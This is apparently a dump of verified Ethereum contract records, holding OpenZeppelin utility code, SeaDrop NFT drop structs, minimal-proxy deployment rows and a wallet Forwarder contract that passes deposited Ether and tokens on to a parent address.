{xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check if target is a contract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(target.code.length > 0, \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n" }, "src/lib/ERC721SeaDropStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n address paymentToken; // 400/512 bits\n uint16 maxTotalMintableByWallet; // 416/512 bits\n uint16 feeBps; // 432/512 bits\n bool restrictFeeRecipients; // 440/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 maxTotalMintableByWallet;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param quantity The number of tokens to mint.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256 quantity;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256 mintQuantity;\n}\n" } }, "settings": { "remappings": [ "forge-std/=lib/forge-std/src/", "ds-test/=lib/forge-std/lib/ds-test/src/", "ERC721A/=lib/ERC721A/contracts/", "ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/", "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/", "@openzeppelin-upgradeable/contracts/=lib/openzeppelin-contracts-upgradeable/contracts/", "@rari-capital/solmate/=lib/seaport/lib/solmate/", "murky/=lib/murky/src/", "create2-scripts/=lib/create2-helpers/script/", "seadrop/=src/", "seaport-sol/=lib/seaport/lib/seaport-sol/", "seaport-types/=lib/seaport/lib/seaport-types/", "seaport-core/=lib/seaport/lib/seaport-core/", "seaport-test-utils/=lib/seaport/test/foundry/utils/", "solady/=lib/solady/" ], "optimizer": { "enabled": true, "runs": 99999999 }, "metadata": { "useLiteralContent": false, "bytecodeHash": "none", "appendCBOR": true }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "evmVersion": "paris", "libraries": {} } }}
1
19,493,294
396ccff92135566be59ec3813345f9b2b3e5e29985f7d362094903e5926089c4
224c1ba867522a5dbee906e0aab7418ccec6775dc86713633d225836b616e36b
a9a0b8a5e1adca0caccc63a168f053cd3be30808
01cd62ed13d0b666e2a10d13879a763dfd1dab99
f6c71ec78ffbb9c1b866516cd525d216100220d7
3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
1
19,493,296
63d714acc6ec5146a177d82a4cdf0afe8ef44e2aa2d742ed4757b441e0713343
6e3cddaf913b8ba9840af3cc7c96bf39bfcafb9545f03a7af2cc4cf4de9cfc3d
41ed843a086f44b8cb23decc8170c132bc257874
29ef46035e9fa3d570c598d3266424ca11413b0c
a02443db71b97d73db9d34ec3b390b42e53d6cd6
3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
{{ "language": "Solidity", "sources": { "contracts/Forwarder.sol": { "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n" }, "contracts/ERC20Interface.sol": { "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n" }, "contracts/TransferHelper.sol": { "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n" }, "contracts/IForwarder.sol": { "content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n" }, "@openzeppelin/contracts/utils/introspection/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts/utils/introspection/ERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n" }, "@openzeppelin/contracts/utils/Address.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n 